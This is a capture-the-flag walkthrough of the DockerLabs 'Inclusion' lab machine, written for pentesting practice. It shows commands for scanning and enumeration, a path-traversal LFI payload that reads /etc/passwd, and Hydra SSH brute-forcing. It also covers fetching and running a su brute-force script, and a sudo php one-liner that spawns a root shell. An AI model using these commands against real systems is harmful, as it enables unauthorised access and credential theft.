> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/medium/inclusion.md).

# Inclusion

## 1 - Reconnaissance

We begin with a fast **Nmap** scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: ports 22 and 80 are open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 22,80 -sS -Pn -sCV`

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FMwDVlrzSglItsme9BgdC%2F(Inclusion)%20Targeted%20Port%20Scan.png?alt=media&amp;token=3a9a4168-00db-4f9d-b1f1-ebbeedead950" alt=""><figcaption><p>(Inclusion) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes for the services running via `searchsploit` but we found nothing. We will start now exploring the website before enumerating directories. We only found the **Apache2 Debian Default page**, so we will start with directory enumeration.

With

```bash
ffuf -u http://172.17.0.2/FUZZ -w /usr/share/wordlists/dirb/big.txt
```

we found:&#x20;

**/shop -> Accessing this will show an interesting error message:**

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FoXsy4COjn1ROk0oL6N7D%2F(Inclusion)%20Error%20message%20on%20shop%20directory.png?alt=media&amp;token=71769f62-07c0-4603-9bcc-9f7c19d9ffdb" alt="" width="375"><figcaption><p>(Inclusion) Interesting Error Message</p></figcaption></figure>

As we can see, it's trying to access the value of the parameter **archivo** but on the URL there is none. Visiting `172.17.0.2/shop/?archivo=/etc/passwd` make the website change, so we start adding `../` at the start of the parameter value until we list something. We end up with: `http://172.17.0.2/shop/?archivo=../../../../etc/passwd` and the **LFI** completed.

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FJDpSJPa318wE3o3JREBN%2F(Inclusion)%20LFI%20Completed.png?alt=media&amp;token=746a8604-11d1-4360-9599-3982114269a2" alt="" width="563"><figcaption><p>(Inclusion) LFI Done</p></figcaption></figure>

We can see that 2 users have **/bin/bash**, so they're potential users that we could use. After running&#x20;

```
hydra -l seller -w /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

we found nothing, so we tried:

```
hydra -l manchi -w /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

and we got valid credentials:

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FYUJ8dgwvWy141Awk1DTh%2F(Inclusion)%20Manchi%20Credentials.png?alt=media&amp;token=0385951f-9e1c-4449-928f-5596b57e6597" alt=""><figcaption><p>(Inclusion) Manchi Credentials</p></figcaption></figure>

## 3 - Exploitation

Once we connect through **SSH** we don't find anything useful inside `manchi`, so having the username of another user with **/bin/bash**, we decide to run a **Su Bruteforcer**.

We get out temporarily from the **SSH** connection, and run:

```bash
wget https://raw.githubusercontent.com/Maalfer/Sudo_BruteForce/main/Linux-Su-Force.sh
scp /usr/share/wordlists/rockyou.txt manchi@172.17.0.2:/home/manchi
scp Linux-Su-Force.sh manchi@172.17.0.2:/home/manchi
```

That way, we have the **su bruteforcer**, and the needed wordlist in `/home/manchi`. Running:

```
./Linux-Su-Force.sh seller rockyou.txt
```

will end up giving us valid credentials:

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FJYW6f6GflwCywATyWd2U%2F(Inclusion)%20Seller%20Credentials.png?alt=media&amp;token=38282728-7653-4ed5-80c5-7f68a3695471" alt=""><figcaption><p>(Inclusion) Seller Credentials</p></figcaption></figure>

After that, we ran `sudo -l` and we found a misconfiguration allowing us to run `sudo` on `/usr/bin/php`, letting us use an exploit from **GTFOBins** to escalate privileges.

## 5 - Privilege Escalation

As we can run `/usr/bin/php` as **root**, we will use this:

```bash
CMD="/bin/sh"
sudo php -r "system('$CMD');"
```

That exploit will spawn us a root shell:

<figure><img src="https://438683079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIbHEScEP34huXd5EXNdb%2Fuploads%2FJMOAg8KgDcGrfWcOEQ9F%2F(Inclusion)%20Privilege%20Escalation.png?alt=media&amp;token=cc712ac2-1c67-4dea-a7e1-ae562cf58cde" alt=""><figcaption><p>(Inclusion) Privilege Escalation</p></figcaption></figure>

## 6 - Summary

**Initial Access:**\
Discovered a Local File Inclusion vulnerability in the `/shop` endpoint, which allowed reading `/etc/passwd`. Brute-forced SSH credentials for user `manchi` using Hydra and the RockYou wordlist.

**Exploitation:**\
Used a local brute-force script from `manchi`'s account to crack the password of another user, `seller`. Logged in as `seller` and found `sudo` permissions on `/usr/bin/php`, which enabled privilege escalation.

**Privilege Escalation:**\
Abused `sudo` rights on `/usr/bin/php` to execute a shell command and gain root access via a GTFOBins technique.
